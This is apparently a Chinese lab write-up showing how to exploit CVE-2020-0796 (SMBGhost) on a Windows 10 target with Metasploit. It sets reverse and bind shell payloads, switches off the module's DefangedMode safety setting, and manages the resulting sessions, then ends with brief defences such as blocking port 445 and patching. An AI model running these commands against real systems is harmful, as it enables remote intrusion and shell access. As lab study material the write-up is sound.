CVE-2020-0796:永恒之黑实战学习

发布于:2025-03-24 ⋅ 阅读:(18) ⋅ 点赞:(0)

CVE-2020-0796:永恒之黑实战学习

1.背景:

  1. 漏洞名称:CVE-2020-0796,又称“SMBGhost”或“永恒之黑”。
  2. ​影响范围:Windows 10(1903/1909版本)及Windows Server 2019/2016(部分版本)。
  3. 协议相关:SMBv3.1.1协议(Server Message Block,用于文件/打印机共享)。
  4. 触发条件:SMBv3服务启用(默认开启);攻击者需与目标建立SMB连接(通常通过445端口)。
  5. 实战背景:使用kali2024.02的metasploit攻击靶机win10 1903版本,靶机已开启smb并关闭防火墙,kali和靶机处于同一个局域网,网络互通

2.原理

  1. 概要:解压过程中未正确验证数据包长度,导致缓冲区溢出
  2. 细节:伪造OriginalSize:将OriginalSize字段设置为一个较小的值(如0),诱使系统分配较小的缓冲区。​构造压缩数据:压缩后的数据被精心设计,使其解压后的大小远大于OriginalSize。​触发溢出:解压过程将大量数据写入缓冲区,导致缓冲区溢出。通过构造恶意数据包覆盖相邻内存,可能实现内核级代码执行​(因SMB驱动运行在内核模式)。

注意:

  1. OriginalSize:原始数据大小。
  2. CompressedSize:压缩后数据大小。

3.实战

3.1 运行metasploit

msfdb run

3.2 查找永恒之黑模块并加载模块

search cve:CVE-2020-0796
use 3

在这里插入图片描述

3.3 查看模块详情

options

在这里插入图片描述

注:

  1. 发现攻击载荷payload需要切换至我们熟悉的shell
  2. 需要指定攻击目标IP地址:RHOSTS

3.4 查找合适的payload并切换,然后指定目标ip地址(渗透后反向连接reverse_tcp)

search type:payload path:shell name:windows x64
set payload payload/windows/x64/shell/reverse_tcp
set rhosts 192.168.1.178
options

在这里插入图片描述

3.5 改控制模式为温和

set DefangedMode false

注意:

  1. DefangedMode的默认值为true,温和,这是一种安全措施,防止用户意外对目标系统造成损害。
  2. CVE-2020-0796的漏洞利用模块(exploit/windows/smb/cve_2020_0796_smbghost)需要发送特制的恶意数据包来触发缓冲区溢出,进而执行Payload。如果DefangedMode为true,模块不会发送这些数据包,导致漏洞利用失败。如:
    在这里插入图片描述

3.6 开始攻击(方式一)

run      # 直接执行

在这里插入图片描述

注意:

  1. 到此已经渗透成功
  2. ctrl+c退出
  3. 有可能会乱码,可以执行 chcp 65001 如:
    在这里插入图片描述

3.7 开始攻击(方式二)

run -j

#执行成功后查看方式
sessions
session -i 2

在这里插入图片描述

3.8 退出且会话继续挂后台

background

在这里插入图片描述

3.9 删除会话

sessions -k 2

sessions -K    # 删除所有会话(大写K)

在这里插入图片描述

3.10 尝试渗透后正向连接(bind_tcp)

search type:payload name:window x64 path:shell path:bind_tcp
set payload payload/windows/x64/shell/bind_tcp
set rhosts 192.168.1.178
options
run

在这里插入图片描述

注意:

  1. 跟反向连接攻击方式一致,只剩正向连接是渗透后攻击机向目标机发起连接,而反向连接是渗透后由目标机向攻击机发起连接
  2. 连接目标的端口需要目标机的防火墙开放,如图中的LPORT 4444

4.防御技术原理

  1. 关闭SMBv3服务:禁用SMBv3服务,可以阻止攻击者利用永恒之黑漏洞进行攻击。
  2. 关闭445端口或者用防火墙拦截445端口的所有请求,防止攻击者利用445端口进行攻击。
  3. 下载补丁修复漏洞:安装Windows补丁KB4551762,修复永恒之黑漏洞。